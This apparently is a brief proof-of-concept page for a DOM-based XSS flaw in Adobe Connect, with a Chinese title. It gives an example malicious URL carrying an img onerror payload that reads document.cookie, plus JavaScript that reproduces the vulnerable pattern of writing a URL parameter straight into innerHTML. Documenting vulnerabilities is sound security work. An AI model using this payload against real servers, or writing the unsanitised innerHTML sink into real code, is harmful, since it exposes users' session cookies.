CVE-2026-27246 Adobe Connect DOM型跨站脚本漏洞

/* * PoC for CVE-2026-27246 (Adobe Connect DOM XSS) * Description: Exploits the lack of sanitization on a specific parameter. * Usage: Victim visits the URL below. */ // Example malicious URL construction: // https://[target]/meeting?param=<img src=x onerror=alert(document.cookie)> function exploit() { // Simulating the vulnerable sink in Adobe Connect var vulnerableParam = new URLSearchParams(window.location.search).get('param'); if (vulnerableParam) { // Vulnerable code pattern: Direct innerHTML assignment var targetElement = document.getElementById('vulnerable-div'); if(targetElement) { targetElement.innerHTML = vulnerableParam; } } } // Trigger exploit();